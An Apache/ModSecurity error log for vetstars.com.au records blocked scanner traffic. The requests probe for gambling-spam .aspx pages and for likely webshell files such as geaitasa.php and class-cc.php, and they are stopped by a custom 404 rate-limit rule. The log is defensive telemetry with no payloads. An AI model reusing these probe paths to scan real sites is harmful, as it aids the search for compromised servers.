[Fri Jan 30 00:40:37.472000 2026] [:error] [pid 39813:tid 39815] [client 54.37.86.225:46814] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXuNhd_AaZSBkqpNK03GvwAAAUA"]
[Fri Jan 30 00:40:39.949718 2026] [:error] [pid 39813:tid 39827] [client 54.37.86.225:46824] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXuNh9_AaZSBkqpNK03GxwAAAUw"]
[Fri Jan 30 00:40:42.464748 2026] [:error] [pid 39501:tid 39514] [client 54.37.86.225:46832] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aXuNii_BLgXFo3daaZiruAAAAAU"]
[Fri Jan 30 00:40:44.969374 2026] [:error] [pid 39503:tid 39571] [client 54.37.86.225:39750] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXuNjDzoHqvQcupFdnbjwwAAAQg"]
[Fri Jan 30 00:40:47.605281 2026] [:error] [pid 39813:tid 39823] [client 54.37.86.225:39752] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXuNj9_AaZSBkqpNK03G2wAAAUg"]
[Fri Jan 30 00:40:50.116784 2026] [:error] [pid 39783:tid 39800] [client 54.37.86.225:39756] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aXuNkq51RNfzhKG5ppOu4QAAAE8"]
[Fri Jan 30 00:40:52.624766 2026] [:error] [pid 39813:tid 39836] [client 54.37.86.225:39766] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aXuNlN_AaZSBkqpNK03G6AAAAVU"]
[Fri Jan 30 00:40:55.149032 2026] [:error] [pid 39783:tid 39793] [client 54.37.86.225:45916] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aXuNl651RNfzhKG5ppOu7gAAAEg"]
[Fri Jan 30 00:40:57.659139 2026] [:error] [pid 39783:tid 39802] [client 54.37.86.225:45922] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aXuNma51RNfzhKG5ppOu8QAAAFE"]
[Fri Jan 30 00:41:00.207586 2026] [:error] [pid 39501:tid 39520] [client 54.37.86.225:45928] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aXuNnC_BLgXFo3daaZisGAAAAAs"]
[Fri Jan 30 00:41:02.660767 2026] [:error] [pid 39813:tid 39824] [client 54.37.86.225:45932] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aXuNnt_AaZSBkqpNK03G_wAAAUk"]
[Fri Jan 30 00:41:05.295795 2026] [:error] [pid 39501:tid 39530] [client 54.37.86.225:51928] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aXuNoS_BLgXFo3daaZisHwAAABU"]
[Fri Jan 30 00:41:07.779584 2026] [:error] [pid 39813:tid 39827] [client 54.37.86.225:51936] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aXuNo9_AaZSBkqpNK03HJAAAAUw"]
[Fri Jan 30 00:41:10.275539 2026] [:error] [pid 39813:tid 39834] [client 54.37.86.225:51948] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aXuNpt_AaZSBkqpNK03HPgAAAVM"]
[Fri Jan 30 00:41:12.914950 2026] [:error] [pid 39813:tid 39834] [client 54.37.86.225:35042] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aXuNqN_AaZSBkqpNK03HSwAAAVM"]
[Fri Jan 30 00:41:15.397859 2026] [:error] [pid 39501:tid 39515] [client 54.37.86.225:35048] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aXuNqy_BLgXFo3daaZisKwAAAAY"]
[Fri Jan 30 00:41:17.878047 2026] [:error] [pid 39502:tid 39542] [client 54.37.86.225:35054] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aXuNrQCUcXwXieepEYjeIQAAAIY"]
[Fri Jan 30 00:41:20.520903 2026] [:error] [pid 39813:tid 39817] [client 54.37.86.225:35058] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aXuNsN_AaZSBkqpNK03HZwAAAUI"]
[Fri Jan 30 00:41:23.035026 2026] [:error] [pid 39502:tid 39537] [client 54.37.86.225:34734] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aXuNswCUcXwXieepEYjeIgAAAIE"]
[Fri Jan 30 00:41:25.680332 2026] [:error] [pid 39783:tid 39797] [client 54.37.86.225:34740] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aXuNta51RNfzhKG5ppOvLAAAAEw"]
[Fri Jan 30 00:41:28.173353 2026] [:error] [pid 39813:tid 39819] [client 54.37.86.225:34742] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aXuNuN_AaZSBkqpNK03HeAAAAUQ"]
[Fri Jan 30 00:41:30.686050 2026] [:error] [pid 39501:tid 39526] [client 54.37.86.225:34754] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aXuNui_BLgXFo3daaZisPgAAABE"]
[Fri Jan 30 00:42:13.848702 2026] [:error] [pid 39813:tid 39817] [client 54.37.86.225:35892] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aXuN5d_AaZSBkqpNK03H1AAAAUI"]
[Fri Jan 30 00:42:16.421778 2026] [:error] [pid 39501:tid 39532] [client 54.37.86.225:56776] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aXuN6C_BLgXFo3daaZisdwAAABc"]
[Fri Jan 30 03:13:48.364407 2026] [:error] [pid 39503:tid 39573] [client 51.68.234.139:43272] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aXuxbDzoHqvQcupFdnYR_gAAAQo"]
[Fri Jan 30 03:13:53.519780 2026] [:error] [pid 39592:tid 39603] [client 51.68.234.139:57878] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aXuxcZlnGYODSsJUyHlh5QAAAMY"]
[Fri Jan 30 03:13:58.239072 2026] [:error] [pid 39502:tid 39537] [client 51.68.234.139:52448] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aXuxdgCUcXwXieepEYgOVAAAAIE"]
[Fri Jan 30 03:14:05.568350 2026] [:error] [pid 13828:tid 13854] [client 51.68.234.139:49934] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aXuxfeg30BgRfEx7ROHttgAAAhg"]
[Fri Jan 30 03:14:13.092851 2026] [:error] [pid 39503:tid 39579] [client 51.68.234.139:49936] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXuxhTzoHqvQcupFdnYSFwAAARA"]
[Fri Jan 30 03:14:19.505092 2026] [:error] [pid 13797:tid 13802] [client 51.68.234.139:46642] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aXuxi0Zz78bylh5pU4SOmgAAAcM"]
[Fri Jan 30 03:14:24.790862 2026] [:error] [pid 39783:tid 39788] [client 51.68.234.139:46658] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXuxkK51RNfzhKG5ppPjCgAAAEM"]
[Fri Jan 30 03:14:29.779818 2026] [:error] [pid 26945:tid 26971] [client 51.68.234.139:48748] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXuxlQW-EMYAck0PyR42mAAAAk4"]
[Fri Jan 30 03:14:33.601981 2026] [:error] [pid 13828:tid 13835] [client 51.68.234.139:48754] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aXuxmeg30BgRfEx7ROHt1QAAAgU"]
[Fri Jan 30 03:14:38.119912 2026] [:error] [pid 39501:tid 39526] [client 51.68.234.139:56022] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aXuxni_BLgXFo3daaZjh-AAAABE"]
[Fri Jan 30 03:14:41.955742 2026] [:error] [pid 39503:tid 39574] [client 51.68.234.139:56034] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aXuxoTzoHqvQcupFdnYSPwAAAQs"]
[Fri Jan 30 05:11:26.845012 2026] [:error] [pid 46914:tid 46984] [client 119.96.24.54:46256] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXvM_lgSfJ4kZxNKlb-ssgAAAIY"]
[Fri Jan 30 06:06:36.595731 2026] [autoindex:error] [pid 38686:tid 38706] [client 164.90.142.198:63963] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 30 07:32:08.304765 2026] [:error] [pid 46913:tid 46965] [client 20.196.201.42:9850] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aXvt-DMWmKL8hOfC3uQuPwAAAE4"]
[Fri Jan 30 07:32:08.591629 2026] [:error] [pid 38686:tid 38699] [client 20.196.201.42:9801] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aXvt-AoE8BAjgw1_sAWzvAAAAck"]
[Fri Jan 30 07:32:08.871342 2026] [:error] [pid 24711:tid 24719] [client 20.196.201.42:9756] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aXvt-K5Gwh4var6T23JgsQAAAUU"]
[Fri Jan 30 07:32:09.154330 2026] [:error] [pid 24681:tid 24702] [client 20.196.201.42:9813] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aXvt-YE368IXQpahn0LVFQAAARM"]
[Fri Jan 30 07:32:09.456715 2026] [:error] [pid 46912:tid 46928] [client 20.196.201.42:9746] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aXvt-T6yiVW7A9NwFFkgCwAAAAQ"]
[Fri Jan 30 07:32:09.725822 2026] [:error] [pid 38686:tid 38708] [client 20.196.201.42:9748] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aXvt-QoE8BAjgw1_sAWzwAAAAdI"]
[Fri Jan 30 07:32:09.998470 2026] [:error] [pid 47021:tid 47040] [client 20.196.201.42:9758] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aXvt-dap1k13UdZUNSRm_QAAANE"]
[Fri Jan 30 07:32:10.310623 2026] [:error] [pid 46914:tid 46990] [client 20.196.201.42:9832] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aXvt-lgSfJ4kZxNKlb_NbgAAAIw"]
[Fri Jan 30 07:32:10.603074 2026] [:error] [pid 38980:tid 39000] [client 20.196.201.42:9829] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geaitasa.php"] [unique_id "aXvt-rYByxUZEaKXdHr3TAAAAg0"]
[Fri Jan 30 07:32:10.873083 2026] [:error] [pid 38980:tid 39003] [client 20.196.201.42:9740] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geaitasa.php"] [unique_id "aXvt-rYByxUZEaKXdHr3TgAAAhA"]
[Fri Jan 30 07:32:11.211018 2026] [:error] [pid 38686:tid 38697] [client 20.196.201.42:9796] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geaitasa.php"] [unique_id "aXvt-woE8BAjgw1_sAWzwwAAAcc"]
[Fri Jan 30 07:32:11.482009 2026] [:error] [pid 47021:tid 47046] [client 20.196.201.42:9823] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geaitasa.php"] [unique_id "aXvt-9ap1k13UdZUNSRnAQAAANc"]
[Fri Jan 30 07:32:11.785624 2026] [:error] [pid 46913:tid 46961] [client 20.196.201.42:9728] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-cc.php"] [unique_id "aXvt-zMWmKL8hOfC3uQuQQAAAEo"]
[Fri Jan 30 07:32:12.065161 2026] [:error] [pid 24711:tid 24723] [client 20.196.201.42:9754] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-cc.php"] [unique_id "aXvt_K5Gwh4var6T23JgswAAAUk"]
[Fri Jan 30 07:32:12.341594 2026] [:error] [pid 24711:tid 24725] [client 20.196.201.42:9815] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-cc.php"] [unique_id "aXvt_K5Gwh4var6T23JgtAAAAUs"]
[Fri Jan 30 07:32:12.612894 2026] [:error] [pid 47021:tid 47044] [client 20.196.201.42:9851] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-cc.php"] [unique_id "aXvt_Nap1k13UdZUNSRnBAAAANU"]
[Fri Jan 30 07:32:12.888027 2026] [:error] [pid 24712:tid 24755] [client 20.196.201.42:9824] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXvt_IRLQrFiQF3h9-tujgAAAY4"]
[Fri Jan 30 07:32:13.166725 2026] [:error] [pid 24712:tid 24765] [client 20.196.201.42:9730] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXvt_YRLQrFiQF3h9-tukQAAAZc"]
